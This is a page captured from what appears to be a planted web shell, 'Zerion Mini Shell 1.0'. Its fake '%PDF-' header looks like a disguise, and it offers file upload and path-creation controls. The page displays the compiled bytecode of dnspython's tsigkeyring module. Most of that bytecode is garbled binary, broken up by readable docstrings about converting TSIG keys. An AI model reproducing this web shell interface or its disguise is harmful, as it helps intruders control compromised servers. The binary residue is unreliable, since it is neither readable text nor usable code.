%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/dns/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/dns/__pycache__/tsigkeyring.cpython-312.pyc

�

5��eI
����dZddlZddlmZmZddlZddlZdeeefdeejjejjffd�Z
deejjefdeeeffd�Zy)	zA place to store TSIG keys.�N)�Any�Dict�textring�returnc�F�i}|j�D]�\}}tjj|�}t	|t
�r.tjj||�j||<�c|\}}tjj|||�||<��|S)a7Convert a dictionary containing (textual DNS name, base64 secret)
    pairs into a binary keyring which has (dns.name.Name, bytes) pairs, or
    a dictionary containing (textual DNS name, (algorithm, base64 secret))
    pairs into a binary keyring which has (dns.name.Name, dns.tsig.Key) pairs.
    @rtype: dict)	�items�dns�name�	from_text�
isinstance�str�tsig�Key�secret)r�keyringr
�value�kname�	algorithmrs       �1/usr/lib/python3/dist-packages/dns/tsigkeyring.pyrrs����G��~�~�'�D���e����"�"�4�(���e�S�!� �X�X�\�\�%��7�>�>�G�E�N�"'��Y�� �X�X�\�\�%���C�G�E�N�
D��N�rc�Z�i}d�}|j�D]�\}}|j�}t|t�r||�||<�2t|jt�r||j�}nt|j�}|jj�|f||<��|S)a;Convert a dictionary containing (dns.name.Name, dns.tsig.Key) pairs
    into a text keyring which has (textual DNS name, (textual algorithm,
    base64 secret)) pairs, or a dictionary containing (dns.name.Name, bytes)
    pairs into a text keyring which has (textual DNS name, base64 secret) pairs.
    @rtype: dictc�d�tj|�j�j�S)N)�base64�encodebytes�decode�rstrip)rs r�	b64encodezto_text.<locals>.b64encode6s%���!�!�&�)�0�0�2�9�9�;�;r)r�to_textr�bytesrr
r)rrrr
�key�tname�text_secrets       rrr-s����H�<��]�]�_�
E�	��c�������c�5�!�'��n�H�U�O��#�*�*�e�,�'��
�
�3��!�#�*�*�o��"�}�}�4�4�6��D�H�U�O�
E��Or)�__doc__r�typingrr�dns.namer	�dns.tsigr
r
�Namerrrr�rr�<module>r)sx��$"�
������S�#�X���4����
�
�s�x�x�|�|�0K�+L��$�T�#�(�(�-�-��,�-��$�s�C�x�.�r

Zerion Mini Shell 1.0